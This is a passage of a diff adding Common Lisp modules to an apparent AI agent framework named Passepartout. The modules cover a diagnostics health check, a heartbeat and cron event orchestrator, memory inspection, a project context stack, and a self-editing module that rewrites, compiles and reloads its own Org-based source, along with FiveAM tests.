+                   (format t "  [FAIL] ~a variable not set.~%" name)
+                   (when critical (setf all-ok nil))))))
+
+      (check-dir "Config (PASSEPARTOUT_CONFIG_DIR)" config-dir t)
+      (check-dir "Data (PASSEPARTOUT_DATA_DIR)" data-dir t)
+      (check-dir "State (PASSEPARTOUT_STATE_DIR)" state-dir t)
+      (check-dir "Memex (MEMEX_DIR)" memex-dir t))
+    all-ok))
+
+(defun diagnostics-llm-check ()
+  "Tests connectivity to LLM providers. Returns T if at least one provider is configured."
+  (format t "DOCTOR: Checking LLM connectivity...~%")
+  (let ((providers '((:openrouter . "OPENROUTER_API_KEY")
+                     (:anthropic . "ANTHROPIC_API_KEY")
+                     (:openai . "OPENAI_API_KEY")
+                     (:groq . "GROQ_API_KEY")
+                     (:gemini . "GEMINI_API_KEY")
+                     (:deepseek . "DEEPSEEK_API_KEY")
+                     (:nvidia . "NVIDIA_API_KEY")
+                     (:ollama . "OLLAMA_URL")))
+        (configured nil))
+    (dolist (p providers)
+      (let ((env-val (uiop:getenv (cdr p))))
+        (cond
+          ((and env-val (> (length env-val) 0))
+           (format t "  [OK] ~a configured~%" (car p))
+           (setf configured t))
+          ((eq (car p) :ollama)
+           (let ((ollama-check (ignore-errors
+                                 (uiop:run-program '("curl" "-s" "http://localhost:11434/api/tags")
+                                                    :output :string :ignore-error-status t))))
+             (when (and ollama-check (search "\"models\"" ollama-check))
+               (format t "  [OK] Ollama local model server detected~%")
+               (setf configured t)))))))
+    (if configured
+        (progn
+          (format t "  [OK] LLM provider(s) available~%")
+          t)
+        (progn
+          (format t "  [WARN] No LLM provider configured.~%")
+          (format t "  Run 'passepartout configure' to configure a provider.~%")
+          t))))
+
+(defun diagnostics-run-all (&key (auto-install t))
+  "Executes the full diagnostic suite and returns T if system is healthy."
+  (format t "==================================================~%")
+  (format t " PASSEPARTOUT DOCTOR: Commencing Health Check~%")
+  (format t "==================================================~%")
+  (let ((dep-ok (diagnostics-dependencies-check)))
+    (when (and (not dep-ok) auto-install *doctor-auto-install*)
+      (format t "DOCTOR: Attempting automatic installation...~%")
+      (setf dep-ok (diagnostics-dependencies-install))
+      (when dep-ok
+        (setf dep-ok (diagnostics-dependencies-check))))
+    (let ((env-ok (diagnostics-env-check))
+          (llm-ok (diagnostics-llm-check)))
+      (format t "==================================================~%")
+      (if (and dep-ok env-ok)
+          (progn
+            (format t " ✓ SYSTEM HEALTHY: Ready for ignition.~%")
+            t)  ;; Explicitly return T
+          (progn
+            (format t "==================================================~%")
+            (format t " ISSUES FOUND:~%")
+            (when (not dep-ok)
+              (format t "  - Missing system dependencies~%"))
+            (when (not llm-ok)
+              (format t "  - No LLM provider configured~%"))
+            (format t "~%")
+            (format t " RECOMMENDED ACTIONS:~%")
+            (format t "  1. Run 'passepartout configure' to configure everything~%")
+            (format t "  2. Or run 'passepartout doctor --fix' for auto-repair~%")
+            (format t "==================================================~%")
+            nil)))))  ;; Return nil when issues found
+
+(defun diagnostics-main ()
+  "Entry point for the 'doctor' CLI command."
+  (if (diagnostics-run-all)
+      (uiop:quit 0)
+      (uiop:quit 1)))
+
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-diagnostics-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:diagnostics-suite))
+
+(in-package :passepartout-diagnostics-tests)
+
+(def-suite diagnostics-suite :description "Verification of the System Diagnostics logic")
+(in-suite diagnostics-suite)
+
+(test test-diagnostics-dependency-fail
+  "Contract 1: missing binaries cause diagnostics-dependencies-check to return nil."
+  (let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-DIAGNOSTICS"))
+         (bin-var (and pkg (find-symbol "*DIAGNOSTICS-BINARIES*" pkg))))
+    (when bin-var
+      (setf (symbol-value bin-var) '("non-existent-binary-123"))
+      (is (null (diagnostics-dependencies-check))))))
+
+(test test-diagnostics-env-fail
+  "Contract 2: diagnostics-env-check returns a boolean."
+  (let ((result (diagnostics-env-check)))
+    (is (or (eq t result) (eq nil result))
+        "diagnostics-env-check should return T or NIL")))
+
+(test test-diagnostics-dependency-success
+  "Contract 1: all binaries present returns T."
+  (let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-DIAGNOSTICS"))
+         (bin-var (and pkg (find-symbol "*DIAGNOSTICS-BINARIES*" pkg))))
+    (when bin-var
+      (setf (symbol-value bin-var) '("ls"))
+      (is (eq t (diagnostics-dependencies-check))))))
+
+(defskill :passepartout-symbolic-diagnostics
+  :priority 100
+  :trigger (lambda (ctx) (eq (getf (getf ctx :payload) :sensor) :heartbeat))
+  :deterministic (lambda (action ctx) (declare (ignore action ctx)) nil))

lisp/symbolic-events.lisp

@@ -0,0 +1,224 @@
+(defpackage :passepartout.symbolic-events
+  (:use :cl :passepartout)
+  (:export
+   :orchestrator-register-hook
+   :orchestrator-register-cron
+   :orchestrator-classify
+   :orchestrator-on-heartbeat
+   :orchestrator-bootstrap
+   :orchestrator-dispatch
+   :default-classifier
+   :parse-org-repeat
+   :*hook-registry*
+   :*cron-registry*
+   :*tier-classifier*))
+
+(in-package :passepartout.symbolic-events)
+
+(defvar *hook-registry* (make-hash-table :test 'equal)
+  "Maps hook property string → list of gate function symbols.")
+
+(defvar *cron-registry* (make-hash-table :test 'equal)
+  "Maps job name string → plist (:next-run :expression :repeat :action :tier).")
+
+(defvar *tier-classifier* nil
+  "Optional function (context) → :reflex | :cognition | :reasoning.")
+
+(defun default-classifier (context)
+  "Rule-based tier classification.
+:reflex — file/shell operations, deterministic checks
+:cognition — text processing, summarization, simple Q&A
+:reasoning — planning, analysis, multi-step decisions"
+  (let* ((text (or (getf context :text) ""))
+         (lower (string-downcase text)))
+    (cond
+      ((or (search "rm " lower)
+           (search "write-file" lower)
+           (search "shell" lower)
+           (search "verify-" lower))
+       :reflex)
+      ((or (search "summarize" lower)
+           (search "list" lower)
+           (search "find " lower)
+           (search "what is" lower)
+           (search "search" lower))
+       :cognition)
+      (t :reasoning))))
+
+(defun parse-org-repeat (timestamp-string)
+  (let* ((cleaned (string-trim '(#\< #\> #\Newline #\Tab) timestamp-string))
+         (parts (uiop:split-string cleaned :separator '(#\space)))
+         (repeat-part (ignore-errors (car (last parts)))))
+    (when (and repeat-part (uiop:string-prefix-p "+" repeat-part))
+      (let* ((rest (subseq repeat-part 1))
+             (num-end (position-if (lambda (c) (not (digit-char-p c))) rest))
+             (num (parse-integer (subseq rest 0 num-end)))
+             (unit-str (subseq rest num-end)))
+        (list (intern (string-upcase unit-str) :keyword) num)))))
+
+(defun orchestrator-register-hook (hook-property gate-function)
+  "Registers a deterministic gate to fire when an Org node with
+the #+HOOK: property matching HOOK-PROPERTY is modified."
+  (push gate-function
+        (gethash (string-downcase (string hook-property)) *hook-registry*))
+  (log-message "ORCHESTRATOR: Hook ~a → ~a" hook-property gate-function))
+
+(defun orchestrator-register-cron (name expression action-function tier)
+  "Register a cron job. NAME is a keyword, EXPRESSION is an Org-mode
+timestamp string with optional repeat. TIER is :reflex :cognition :reasoning."
+  (let* ((repeat (parse-org-repeat expression))
+         (now (get-universal-time)))
+    (setf (gethash (string-downcase (string name)) *cron-registry*)
+          (list :next-run now
+                :expression expression
+                :repeat repeat
+                :action action-function
+                :tier tier))
+    (log-message "ORCHESTRATOR: Cron ~a (tier: ~a, repeat: ~a)"
+                 name tier repeat)))
+
+(defun orchestrator-dispatch (action tier)
+  "Execute ACTION at the specified TIER."
+  (flet ((safe-inject (text)
+           (when (fboundp (find-symbol "STIMULUS-INJECT" :passepartout))
+             (funcall (find-symbol "STIMULUS-INJECT" :passepartout)
+                      (list :type :EVENT
+                            :payload (list :sensor :user-input :text text))))))
+    (ecase tier
+      (:reflex
+       (if (functionp action)
+           (funcall action)
+           (when (and (symbolp action) (fboundp action))
+             (funcall action)))
+       :dispatched)
+      (:cognition
+       (safe-inject (format nil "~a" action))
+       :injected)
+      (:reasoning
+       (safe-inject (format nil "~a" action))
+       :injected))))
+
+(defun orchestrator-on-heartbeat (context)
+  "Called on each heartbeat tick. Checks and dispatches due cron jobs."
+  (declare (ignore context))
+  (let ((now (get-universal-time))
+        (due-jobs nil))
+    (maphash (lambda (name config)
+               (let ((next-run (getf config :next-run)))
+                 (when (>= now next-run)
+                   (push (cons name config) due-jobs))))
+             *cron-registry*)
+    (dolist (job due-jobs)
+      (let* ((name (car job))
+             (config (cdr job))
+             (action (getf config :action))
+             (tier (getf config :tier))
+             (repeat (getf config :repeat))
+             (result (orchestrator-dispatch action tier)))
+        (log-message "ORCHESTRATOR: Heartbeat dispatched ~a (tier: ~a) → ~a"
+                     name tier result)
+        (when repeat
+          (let* ((unit (first repeat))
+                 (value (second repeat))
+                 (interval (case unit
+                             (:d (* 86400 value))
+                             (:w (* 604800 value))
+                             (:m (* 2592000 value))
+                             (t (* 3600 value)))))
+            (setf (getf (gethash name *cron-registry*) :next-run)
+                  (+ now interval))))))
+    nil))
+
+(defun orchestrator-scan-org-file (filepath)
+  "Scans a single Org file for HOOK and CRON properties in property drawers.
+Returns a list of plists (:type :hook/:cron :name <str> :value <str>)."
+  (let ((results nil)
+        (in-properties nil)
+        (lines nil))
+    (handler-case
+        (setf lines (uiop:split-string (uiop:read-file-string filepath)
+                                        :separator '(#\Newline)))
+      (error (c)
+        (log-message "ORCHESTRATOR: Could not read ~a: ~a" filepath c)
+        (return-from orchestrator-scan-org-file nil)))
+    (dolist (line lines)
+      (let ((trimmed (string-trim '(#\Space) line)))
+        (when (string= trimmed ":PROPERTIES:")
+          (setf in-properties t))
+        (when (string= trimmed ":END:")
+          (setf in-properties nil))
+        (when in-properties
+          (cond
+            ((uiop:string-prefix-p ":HOOK:" trimmed)
+             (let ((val (string-trim '(#\Space) (subseq trimmed 6))))
+               (push (list :type :hook :name val :file filepath) results)
+               (log-message "ORCHESTRATOR: Found hook ~a in ~a" val filepath)))
+            ((uiop:string-prefix-p ":CRON:" trimmed)
+             (let ((val (string-trim '(#\Space) (subseq trimmed 6))))
+               (push (list :type :cron :name val :file filepath) results)
+               (log-message "ORCHESTRATOR: Found cron ~a in ~a" val filepath)))))))
+    (nreverse results)))
+
+(defun orchestrator-bootstrap ()
+  "Scans all Org files in the memex for #+HOOK: and #+CRON: properties
+and registers them. Scans ~/memex/projects/ and ~/memex/system/ by default."
+  (let* ((memex-dir (or (uiop:getenv "MEMEX_DIR")
+                        (namestring (merge-pathnames "memex/" (user-homedir-pathname)))))
+         (scan-dirs (list (merge-pathnames "projects/" memex-dir)
+                          (merge-pathnames "system/" memex-dir)))
+         (hook-count 0)
+         (cron-count 0))
+    (dolist (dir scan-dirs)
+      (handler-case
+          (let ((files (uiop:directory-files dir "*.org")))
+            (dolist (file files)
+              (let* ((path (namestring file))
+                     (entries (orchestrator-scan-org-file path)))
+                (dolist (entry entries)
+                  (let ((type (getf entry :type))
+                        (name (getf entry :name)))
+                    (cond
+                      ((eq type :hook)
+                       (orchestrator-register-hook name
+                         (lambda ()
+                           (log-message "ORCHESTRATOR: Hook ~a fired" name))))
+                      ((eq type :cron)
+                       (orchestrator-register-cron
+                         (intern (string-upcase (format nil "cron-~a" name)) :keyword)
+                         name
+                         (lambda ()
+                           (log-message "ORCHESTRATOR: Cron ~a fired" name))
+                         :cognition))))
+                  (if (eq (getf entry :type) :hook) (incf hook-count) (incf cron-count))))))
+        (error (c)
+          (log-message "ORCHESTRATOR: Could not scan ~a: ~a" dir c))))
+    (log-message "ORCHESTRATOR: Bootstrap complete (~d hooks, ~d cron jobs)"
+                  hook-count cron-count)))
+
+(defun events-start-heartbeat ()
+  "Starts the background heartbeat thread. v0.5.0: extracted from core-loop."
+  (let ((interval (or (ignore-errors (parse-integer (uiop:getenv "HEARTBEAT_INTERVAL"))) 60))
+         (auto-save (or (ignore-errors (parse-integer (uiop:getenv "MEMORY_AUTO_SAVE_INTERVAL"))) passepartout::*memory-auto-save-interval*)))
+     (setf passepartout::*memory-auto-save-interval* auto-save)
+     (setf passepartout::*heartbeat-save-counter* 0)
+     (setf passepartout::*heartbeat-thread*
+           (bt:make-thread
+            (lambda ()
+              (loop
+                (sleep interval)
+                (incf passepartout::*heartbeat-save-counter*)
+                (when (>= passepartout::*heartbeat-save-counter* (/ passepartout::*memory-auto-save-interval* interval))
+                  (setf passepartout::*heartbeat-save-counter* 0)
+                  (passepartout::save-memory-to-disk))
+                (stimulus-inject
+                   (list :type :EVENT :payload (list :sensor :heartbeat :unix-time (get-universal-time))))))
+            :name "passepartout-heartbeat"))))
+
+(defskill :passepartout-symbolic-events
+  :priority 80
+  :trigger (lambda (ctx)
+             (eq (getf (getf ctx :payload) :sensor) :heartbeat))
+  :deterministic (lambda (action context)
+                   (declare (ignore action))
+                   (orchestrator-on-heartbeat context)
+                   nil))

lisp/symbolic-memory.lisp

@@ -0,0 +1,73 @@
+(in-package :passepartout)
+
+(defun memory-inspect (&key (type-filter nil) (todo-filter nil) (limit 10))
+  "Returns a structured report of memory state.
+Optional filters: TYPE-FILTER (keyword), TODO-FILTER (string).
+Returns a plist: (:total <n> :by-type <alist> :by-todo <alist>
+                   :recent <list> :snapshots <n> :orphans <n>)."
+  (let* ((store (if (boundp '*memory-store*)
+                    (symbol-value '*memory-store*)
+                    (return-from memory-inspect
+                      (list :total 0 :reason "Memory store not available"))))
+         (total 0)
+         (type-counts (make-hash-table :test 'eq))
+         (todo-counts (make-hash-table :test 'equal))
+         (recent nil)
+         (all-ids (make-hash-table :test 'equal))
+         (orphans 0))
+    (maphash (lambda (id obj)
+               (setf (gethash id all-ids) t)
+               (let ((obj-type (memory-object-type obj))
+                     (attrs (memory-object-attributes obj))
+                     (v (memory-object-version obj)))
+                 (unless (and type-filter (not (eq obj-type type-filter)))
+                   (let ((todo (getf attrs :TODO-STATE)))
+                     (when (and todo-filter
+                                (not (string-equal todo todo-filter)))
+                       (return nil)))
+                   (incf total)
+                    (incf (gethash obj-type type-counts 0))
+                   (let ((todo (getf attrs :TODO-STATE)))
+                     (when todo
+                       (incf (gethash todo todo-counts 0))))
+                   (push (list :id id
+                               :type t
+                               :todo (getf attrs :TODO-STATE)
+                               :title (getf attrs :TITLE)
+                               :version v)
+                         recent))))
+             store)
+    ;; Sort recent by version desc and take LIMIT
+    (setf recent (subseq (sort recent #'>
+                                :key (lambda (r) (or (getf r :version) 0)))
+                         0 (min limit (length recent))))
+    ;; Count orphans
+    (maphash (lambda (id obj)
+               (let ((parent (memory-object-parent-id obj)))
+                 (when (and parent (not (gethash parent all-ids)))
+                   (incf orphans))))
+             store)
+    ;; Build output
+    (let ((types (loop for k being the hash-keys of type-counts
+                         using (hash-value v)
+                       collect (cons k v)))
+          (todos (loop for k being the hash-keys of todo-counts
+                         using (hash-value v)
+                       collect (cons k v)))
+          (snapshots (if (boundp '*memory-snapshots*)
+                         (length (symbol-value '*memory-snapshots*))
+                         0)))
+      (list :total total
+            :by-type (sort types #'> :key #'cdr)
+            :by-todo (sort todos #'> :key #'cdr)
+            :recent recent
+            :snapshots snapshots
+            :orphans orphans))))
+
+(defskill :passepartout-symbolic-memory
+  :priority 100
+  :trigger (lambda (ctx) (eq (getf (getf ctx :payload) :sensor) :introspection))
+  :deterministic (lambda (action ctx)
+                   (declare (ignore action ctx))
+                   (ignore-errors (memory-inspect))
+                   nil))

lisp/symbolic-scope.lisp

@@ -0,0 +1,210 @@
+(in-package :passepartout)
+
+(defvar *context-stack* nil
+  "Stack of context plists. Each plist has :project, :base-path, :scope.
+Top of stack (car) is the current context.")
+
+(defvar *context-max-depth* 10
+  "Maximum context stack depth. Prevents runaway pushes.")
+
+(defun current-context ()
+  "Returns the current context plist, or nil if no context is set."
+  (car *context-stack*))
+
+(defun current-scope ()
+  "Returns the current scope keyword (:memex/:session/:project).
+Returns :memex when no context is set (defaults to global scope)."
+  (or (getf (current-context) :scope) :memex))
+
+(defun current-project ()
+  "Returns the current project name, or nil."
+  (getf (current-context) :project))
+
+(defun current-base-path ()
+  "Returns the current base path for file resolution, or nil."
+  (getf (current-context) :base-path))
+
+(defun context-stack-depth ()
+  "Returns the current depth of the context stack."
+  (length *context-stack*))
+
+(defun push-context (&key project base-path (scope :project))
+  "Pushes a new context onto the stack. When focused on a project:
+- File paths resolve relative to BASE-PATH
+- Memory queries filter by SCOPE
+- :memex scope objects remain visible (always global)
+Returns the new context plist."
+  (when (>= (context-stack-depth) *context-max-depth*)
+    (log-message "CONTEXT: Stack depth limit reached (~d), refusing push" *context-max-depth*)
+    (return-from push-context (current-context)))
+  (let* ((context (list :project project
+                        :base-path base-path
+                        :scope scope)))
+    (push context *context-stack*)
+    (context-save)
+    (log-message "CONTEXT: Pushed ~a (depth ~d)" project (context-stack-depth))
+    context))
+
+(defun pop-context ()
+  "Pops the current context, restoring the previous one.
+Returns the restored context or nil if stack becomes empty."
+  (if *context-stack*
+      (let ((popped (pop *context-stack*)))
+        (context-save)
+        (log-message "CONTEXT: Popped ~a (depth ~d)"
+                     (getf popped :project) (context-stack-depth))
+        (current-context))
+      (progn
+        (log-message "CONTEXT: Cannot pop — stack is empty")
+        nil)))
+
+(defmacro with-context ((&key project base-path (scope :project)) &body body)
+  "Executes BODY within a scoped context, then restores the previous context.
+Example:
+  (with-context (:project \"passepartout\" :base-path \"/home/user/memex/projects/passepartout\")
+    (context-scoped-query :tag \"bug\"))"
+  `(let ((*context-stack* (cons (list :project ,project
+                                      :base-path ,base-path
+                                      :scope ,scope)
+                                *context-stack*)))
+     ,@body))
+
+(defun resolve-path (path)
+  "Resolves a file path relative to the current context.
+If PATH is absolute, returns it unchanged.
+If PATH is relative and a base-path is set, merges them.
+Otherwise returns PATH unchanged."
+  (let ((base (current-base-path)))
+    (if (and base path (not (uiop:absolute-pathname-p path)))
+        (namestring (merge-pathnames path (uiop:ensure-directory-pathname base)))
+        path)))
+
+(defun context-scoped-query (&key tag todo-state type)
+  "Like context-query but filtered to the current context's scope.
+:memex-scoped objects are always visible regardless of current scope."
+  (context-query :tag tag :todo-state todo-state :type type :scope (current-scope)))
+
+(defun project-objects ()
+  "Returns all objects scoped to the current project.
+Includes :memex-scoped objects (global knowledge) plus :project-scoped
+objects matching the current project."
+  (context-scoped-query))
+
+(defun focus-project (name base-path)
+  "Shortcut: focus on a project by name and base path.
+Calls push-context with :scope :project."
+  (push-context :project name :base-path base-path :scope :project))
+
+(defun focus-session ()
+  "Shortcut: enter a session context (ephemeral scope).
+Objects created in this scope are visible only during the session."
+  (push-context :project "session" :scope :session))
+
+(defun focus-memex ()
+  "Shortcut: return to global memex scope. Equivalent to pop-context
+until stack is empty or :memex context is reached."
+  (loop while (and *context-stack*
+                   (not (eq (getf (current-context) :scope) :memex)))
+        do (pop-context)))
+
+(defun unfocus ()
+  "Pop the top context and return to the previous one."
+  (pop-context))
+
+(defvar *context-persistence-file* nil
+  "Path to the context stack persistence file.")
+
+(defun context-persist-file ()
+  "Returns the full path to the context persistence file."
+  (or *context-persistence-file*
+      (setf *context-persistence-file*
+            (merge-pathnames ".cache/passepartout/context.lisp"
+                             (user-homedir-pathname)))))
+
+(defun context-save ()
+  "Writes *context-stack* to the persistence file."
+  (handler-case
+      (let ((path (context-persist-file)))
+        (ensure-directories-exist (make-pathname :directory (pathname-directory path)))
+        (with-open-file (s path :direction :output :if-exists :supersede
+                                 :if-does-not-exist :create)
+          (prin1 *context-stack* s))
+        (log-message "CONTEXT: Saved stack (depth ~d) to ~a"
+                     (length *context-stack*) path))
+    (error (c)
+      (log-message "CONTEXT: Failed to save: ~a" c))))
+
+(defun context-load ()
+  "Restores *context-stack* from the persistence file."
+  (handler-case
+      (let ((path (context-persist-file)))
+        (when (probe-file path)
+          (with-open-file (s path :direction :input)
+            (let ((*read-eval* nil)
+                  (data (read s nil nil)))
+              (when (listp data)
+                (setf *context-stack* data)
+                (log-message "CONTEXT: Restored stack (depth ~d) from ~a"
+                             (length *context-stack*) path))
+              t))))
+    (error (c)
+      (log-message "CONTEXT: Failed to load: ~a" c)
+      nil)))
+
+(defskill :passepartout-symbolic-scope
+  :priority 90
+  :trigger (lambda (ctx) (declare (ignore ctx)) nil)
+  :deterministic (lambda (action ctx)
+                   (declare (ignore action))
+                   (ignore-errors
+                     (when (> (context-stack-depth) 0)
+                       nil))
+                   nil))
+
+(when (boundp '*scope-resolver*)
+  (setf *scope-resolver* #'current-scope))
+
+;; Restore persisted context on load
+(context-load)
+
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-context-tests
+  (:use :cl :passepartout)
+  (:export #:context-suite))
+
+(in-package :passepartout-context-tests)
+
+(fiveam:def-suite context-suite :description "Context manager verification")
+(fiveam:in-suite context-suite)
+
+(fiveam:test test-push-pop-context
+  "Contract 1-2: push-context and pop-context maintain stack order."
+  (let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-CONTEXT-MANAGER"))
+         (stack-var (and pkg (find-symbol "*CONTEXT-STACK*" pkg)))
+         (pf-var (and pkg (find-symbol "*CONTEXT-PERSISTENCE-FILE*" pkg))))
+    (when stack-var
+      (setf (symbol-value stack-var) nil)
+      (push-context :project "testapp" :base-path "/tmp" :scope :project)
+      (fiveam:is (= 1 (length (symbol-value stack-var))))
+      (fiveam:is (string= "testapp" (getf (car (symbol-value stack-var)) :project)))
+      (pop-context)
+      (fiveam:is (null (symbol-value stack-var))))))
+
+(fiveam:test test-context-save-load
+  "Contract 3-4: context-save and context-load round-trip."
+  (let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-CONTEXT-MANAGER"))
+         (stack-var (and pkg (find-symbol "*CONTEXT-STACK*" pkg)))
+         (pf-var (and pkg (find-symbol "*CONTEXT-PERSISTENCE-FILE*" pkg))))
+    (when (and stack-var pf-var)
+      (let* ((tmpfile (merge-pathnames "test-context.lisp" (uiop:temporary-directory))))
+        (setf (symbol-value pf-var) tmpfile)
+        (setf (symbol-value stack-var) (list '(:project "test" :base-path "/tmp" :scope :project)))
+        (context-save)
+        (fiveam:is (probe-file tmpfile))
+        (setf (symbol-value stack-var) nil)
+        (context-load)
+        (fiveam:is (= 1 (length (symbol-value stack-var))))
+        (fiveam:is (string= "test" (getf (car (symbol-value stack-var)) :project)))
+        (ignore-errors (delete-file tmpfile))))))

lisp/symbolic-self-improve.lisp

@@ -0,0 +1,198 @@
+(defun org-tangle-file (filepath)
+  "Tangles an Org file's lisp blocks to its :tangle target, compiles, and loads."
+  (let ((content (uiop:read-file-string filepath))
+        (tangle-path nil)
+        (lisp-lines nil)
+        (in-block nil))
+    (dolist (line (uiop:split-string content :separator '(#\Newline)))
+      (let ((trimmed (string-trim '(#\Space #\Tab) line)))
+        (cond
+          ((and (null tangle-path)
+                (search "#+PROPERTY:" trimmed)
+                (search ":tangle" trimmed))
+           (let* ((parts (uiop:split-string trimmed :separator '(#\Space)))
+                  (target (car (last parts)))
+                  (org-dir (make-pathname :directory (pathname-directory filepath))))
+             (when (and target (not (string-equal target "no")))
+               (setf tangle-path
+                     (if (char= (aref target 0) #\/)
+                         (uiop:parse-unix-namestring target)
+                         (uiop:parse-unix-namestring
+                          (format nil "~a/~a" (namestring org-dir) target)))))))
+          ((search "#+begin_src lisp" trimmed)
+           (setf in-block t))
+          ((search "#+end_src" trimmed)
+           (setf in-block nil)
+           (let ((before (search "#+end_src" line)))
+             (when (and before (> before 0))
+               (push (subseq line 0 before) lisp-lines))))
+          (in-block
+           (push line lisp-lines)))))
+    (when (and tangle-path lisp-lines)
+      (setf lisp-lines (nreverse lisp-lines))
+      (ensure-directories-exist tangle-path)
+      (with-open-file (f tangle-path :direction :output :if-exists :supersede)
+        (format f "~{~a~%~}" lisp-lines))
+      (let ((compiled (compile-file tangle-path)))
+        (when compiled
+          (load compiled)
+          (list :tangled (namestring tangle-path) :compiled t))))))
+
+(defun org-extract-lisp-blocks (content)
+  "Extracts all #+begin_src lisp blocks from Org CONTENT as a list of strings."
+  (let ((blocks nil)
+        (in-block nil)
+        (current nil))
+    (dolist (line (uiop:split-string content :separator '(#\Newline)))
+      (let ((trimmed (string-trim '(#\Space #\Tab) line)))
+        (cond
+          ((search "#+begin_src lisp" trimmed)
+           (setf in-block t current nil))
+          ((search "#+end_src" trimmed)
+           (when in-block
+             (let ((before (search "#+end_src" line)))
+               (when (and before (> before 0))
+                 (push (subseq line 0 before) current)))
+             (push (format nil "~{~a~%~}" (nreverse current)) blocks)
+             (setf in-block nil current nil)))
+          (in-block
+           (push line current)))))
+    (nreverse blocks)))
+
+(defun self-improve-edit (filepath old-text new-text)
+  "Surgical text replacement with tangle+reload for Org source files."
+  (when (or (null filepath) (null old-text) (null new-text))
+    (return-from self-improve-edit
+      (list :status :error :reason "Missing arguments")))
+  (when (not (uiop:file-exists-p filepath))
+    (return-from self-improve-edit
+      (list :status :error :reason (format nil "File not found: ~a" filepath))))
+  (log-message "SELF-IMPROVE: Editing ~a (~d chars)" filepath (length old-text))
+  (ignore-errors
+    (when (fboundp 'snapshot-memory)
+      (snapshot-memory)))
+  (let* ((content (uiop:read-file-string filepath))
+         (pos (search old-text content)))
+    (if pos
+        (let* ((new-content (concatenate 'string
+                              (subseq content 0 pos)
+                              new-text
+                              (subseq content (+ pos (length old-text)))))
+               (ext (pathname-type filepath)))
+          (with-open-file (f filepath :direction :output :if-exists :supersede)
+            (write-sequence new-content f))
+          (let ((re-read (uiop:read-file-string filepath)))
+            (if (search new-text re-read :test 'string=)
+                (let ((tangle-result
+                        (when (string-equal ext "org")
+                          (ignore-errors (org-tangle-file filepath)))))
+                  (list :status :success
+                        :summary (format nil "Replaced ~d chars in ~a"
+                                         (length old-text) filepath)
+                        :tangle tangle-result))
+                (list :status :error :reason "Verification failed"))))
+        (list :status :error :reason
+              (format nil "Text not found in ~a" filepath)))))
+
+(defun self-improve-balance-parens (code)
+  "Returns balanced code or nil if already balanced."
+  (handler-case
+      (progn
+        (let ((*read-eval* nil))
+          (with-input-from-string (s code)
+            (loop for form = (read s nil :eof) until (eq form :eof)))
+          (values))
+        nil)
+    (error ()
+      (let* ((opens (loop for ch across code count (char= ch #\()))
+             (closes (loop for ch across code count (char= ch #\))))
+             (missing (- opens closes)))
+        (when (plusp missing)
+          (concatenate 'string code
+                       (make-string missing :initial-element #\))))))))
+
+(defun self-improve-repair-syntax (skill-name)
+  "Find and fix unbalanced parens in a skill's Org source file."
+  (let* ((data-dir (uiop:ensure-directory-pathname
+                    (or (uiop:getenv "PASSEPARTOUT_DATA_DIR")
+                        (merge-pathnames ".local/share/passepartout/"
+                                         (user-homedir-pathname)))))
+         (org-path (merge-pathnames (format nil "org/~a.org" skill-name) data-dir)))
+    (unless (uiop:file-exists-p org-path)
+      (return-from self-improve-repair-syntax
+        (list :status :error :reason (format nil "Source not found: ~a" skill-name)
+              :repaired nil)))
+    (let* ((content (uiop:read-file-string org-path))
+           (blocks (org-extract-lisp-blocks content))
+           (fixed 0) (result content))
+      (dolist (block blocks)
+        (let ((balanced (self-improve-balance-parens block)))
+          (when (and balanced (not (string= block balanced)))
+            (let ((pos (search block result)))
+              (when pos
+                (setf result (concatenate 'string
+                              (subseq result 0 pos)
+                              balanced
+                              (subseq result (+ pos (length block))))
+                      fixed (1+ fixed)))))))
+      (if (> fixed 0)
+          (progn
+            (with-open-file (f org-path :direction :output :if-exists :supersede)
+              (write-sequence result f))
+            (let ((tangle-result (org-tangle-file org-path)))
+              (list :status :success
+                    :action (format nil "Fixed ~d block(s) in ~a" fixed skill-name)
+                    :repaired t :tangle tangle-result)))
+          (list :status :error
+                :reason (format nil "No unbalanced blocks in ~a" skill-name)
+                :repaired nil)))))
+
+(defun self-improve-fix (skill-name error-log)
+  "Diagnoses and attempts to repair a failing skill."
+  (when (or (null skill-name) (null error-log))
+    (return-from self-improve-fix
+      (list :status :error :reason "Missing arguments: skill-name and error-log required")))
+  (log-message "SELF-IMPROVE: Diagnosing ~a..." skill-name)
+  (let* ((log-str (if (stringp error-log) error-log (format nil "~a" error-log)))
+         (diagnosis nil)
+         (extracted-type nil))
+    (cond
+      ((search "Reader Error" log-str :test 'char-equal)
+       (setf extracted-type :syntax-error
+             diagnosis (list :type :syntax-error
+                            :detail "Reader Error (likely unbalanced parentheses)"
+                            :log log-str)))
+      ((search "Undefined" log-str :test 'char-equal)
+       (setf extracted-type :undefined-symbol
+             diagnosis (list :type :undefined-symbol
+                            :detail "Undefined symbol or missing dependency"
+                            :log log-str)))
+      ((search "PACKAGE" log-str :test 'char-equal)
+       (setf extracted-type :package-error
+             diagnosis (list :type :package-error
+                            :detail "Package resolution error"
+                            :log log-str)))
+      (t
+       (setf extracted-type :unknown
+             diagnosis (list :type :unknown
+                            :detail (format nil "Unrecognized error: ~a"
+                                            (subseq log-str 0 (min 200 (length log-str))))
+                            :log log-str))))
+    (log-message "SELF-IMPROVE: Diagnosed ~a as ~a" skill-name extracted-type)
+    (let ((repair-result
+            (when (eql extracted-type :syntax-error)
+              (self-improve-repair-syntax skill-name))))
+      (if (and repair-result (getf repair-result :repaired))
+          (progn
+            (log-message "SELF-IMPROVE: Successfully repaired ~a" skill-name)
+            repair-result)
+          (list :status :error
+                :reason (format nil "Diagnosis for ~a: ~a" skill-name
+                                (getf diagnosis :detail))
+                :diagnosis diagnosis
+                :repaired nil)))))
+
+(defskill :passepartout-symbolic-self-improve
+  :priority 100
+  :trigger (lambda (ctx) (member (getf ctx :type) '(:LOG :EVENT)))
+  :deterministic (lambda (action ctx) (declare (ignore action ctx)) nil))

lisp/symbolic-time-memory.lisp

@@ -0,0 +1,113 @@
+(in-package :passepartout)
+
+(defun memory-objects-since (timestamp)
+  "Returns all memory-objects from *memory-store* with version >= TIMESTAMP."
